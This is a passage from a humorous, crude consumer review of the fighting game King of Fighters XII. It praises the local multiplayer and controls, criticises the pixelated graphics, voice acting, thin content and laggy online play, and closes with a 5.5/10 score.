• Local Multiplayer: Playing with someone in the room with you is pretty fun. Because the engine is solid and hopefully your friend isn’t brain dead you can have some decent fights this way. You are given the option to do a straight one-on-one fight or the full three-on-three brawl. The special moves are flashy and using a pink haired school girl with sparkly magic to knock Terry Bogard on his ass is pretty funny and great for trash talking.

• Controls: The controls are pretty responsive even with the 360’s garbage d-pad. An option for Simple special moves helps level the playing field if you don’t have a fight stick or a decent fighting game controller.

The Bad

• Graphics: While the animation is top-notch the same cannot be said for the graphics. The game looks so pixelated that it would be at home on the SNES. Maybe I am spoiled at this point but the characters and backgrounds have more blocks on them than a 10-round game of Tetris. The lighting is really weird too. I think it was meant to suggest shadows but mostly it just looks like you are playing at an arcade where the monitor is about to go out. Things look intermittently fuzzy and the pretty animation gets buried in murkiness. One would think that putting a game out for the first time on current gen consoles would mean the hand drawn animation style would be sharp and detailed but one would be wrong. I think that there is a distinct possibility that I could produce smoother and more detailed characters with the basic art program on my lap top. Don’t let the screen shots fool you, when you start playing the game you will wonder if it is the same one.

• Presentation: Everything about the presentation is lack luster. The goofy anime scenes in the beginning, middle and end of the game look and sound terrible and add absolutely nothing to the proceedings aside from irritation and they take away precious seconds of your life that you will never get back. The menus are bland and difficult to navigate. This seems like a small thing but if you choose the wrong character, which happens easily as there is lag when you highlight a portrait to display the character name and model, you are unable to back out of the selection. You have to quit to the main screen and start again.Finding options is annoying and reconfiguring the controls for a fighting stick takes far longer than it should. The stage backgrounds look really bad and make no sense at all. One stage is set in Paris and features a crowd of fat women eating at tables and having epileptic fits while watching the action. At the end of the fight, a killer whale breeches and arcs behind the crowd. I have no idea why. The voice work is bad too but that is going to get its own bullet point.

• The Voice Work: Alright so I get that they wanted to have the ring announcer sound Asian. I hated when Street Fighter went to an effeminate dude saying ‘Go for BROKE!’ in the Alpha series but even he would beat what is offered up here. At the very least they could have gotten someone who can pronounce English properly. As it stands the girl sounds like Alex Borstein’s Mrs Swan character from Mad TV. I understand that in Japanese the R sounds like an L but having the announcer say ‘LEADY? LO!’ really doesn’t cut it and might actually be offensive to Asians. It is offensive to my ears anyway and I think I am owed reparations.

• No Mai: This is criminal and cost the game a whole point. What were they thinking? She even showed up in a Samurai Shodown game for godsakes and that wasn’t even era appropriate. And yeah I know she wasn’t playable and just showed up during a character’s ending but her boobs were there and that is all that matters. Poor form.

• Variety: There is none. You have a six match arcade mode, a versus mode and a training mode. That is it. Nothing unlocks, there are no extras. When you can conceivably beat the game in under 6 and a half minutes (there’s an achievement for it) you can see that this will get old very quickly. The first time I sat down with it, I beat it four times and used the remaining 20 minutes in that hour to clean out the cat box and put a pizza in the oven. Every-time you come back to play it is the same thing over and over again. Sure fighting games tend to be repetitive but most of them at least try to give you a reason to come back. Given the broken presentation and aesthetics this game seems to be DARING you to come up with a reason to play. So far masochism is the only reason I can think of that stands up to scrutiny.

• Online Multiplayer: Wow. I can’t say enough bad things about the online component. One of the coolest things about the current gen for fighting games is the ability to play other people without having to have them over to your place or go out to an arcade. Given how bad this feature is on KOF XII I wish they hadn’t even included it. Now I have nightmares about Street Fighter IV behaving this way and it makes me cry. Playing against another person online in this game is sort of like watching one of those flickering shadow boxes that animates herky jerky characters on the wall by spinning while light shoots through only with less control. The laggiest NES game in history didn’t lag as much as online battles do here. It flickers so much that I was afraid I was going to get a migraine. In a game like this with few features, a solid multi-player could have really saved it. As it is, it just sank it further in a sea of regret and squandered potential.

• Control Assignments: This is an odd bullet point because the engine is generally good and the fighting is okay but some of the characters have odd control assignments. KOF XII follows the standard fight game conventions of quarter circles forward and back and charging either back or down and then forward or up. Nothing new here, but in certain cases it seems like the control assignments for the moves were counter to the moves’ intent and got in the way of proper usage. The best example of this is Leona Heidern who is an odd charge fighter. She has an air cancelling move and a sword slash to ward off an advancing opponent. The control assignments for this are backwards and counter intuitive. If someone is performing a jumping attack, it make sense to do a defensive crouch, which would charge the move, and then pop up to counter attack. In Leona’s case the move is a charge back and forward which tends to move your character out of range of the attack and renders the move useless. Likewise, charging down when someone is advancing on you spoils the flow of movement and makes this a hard move to hit with. Things like this take away from any sense of polish and hurt the over all experience.

• Lack of Story: In my Street Fighter IV review I suggested that I would prefer no story to a half assed one that made no sense. KOF XII has made me rethink this. If you aren’t up on the series you would have no idea at all who any of these people are and why they are fighting. Having no context for the characters is a drag and in the absence of ANY other substance in the game it hurts that much worse.

Conclusion [5.5 out of 10]

I am not sure what happened here. Maybe the game was in development before there were worthwhile fighters on the market and they thought they didn’t need to make any sort of effort but with Blazblue (which I haven’t played but hear wonderful things about) and Street Fighter IV out at retail and plenty of 2D arcade fighters available online this game looks that much worse.

The gameplay can be fun but you have to work to find that fun far harder than any game should require. If it weren’t for the solid local multiplayer, it would have scored a two or three. As it is, if you have to play every KOF XII game there is as some kind of psychosis then rent it. If you buy this thing at retail at any price then you make the baby Jesus cry as well as causing God to kill a kitten. Please, think of the kittens.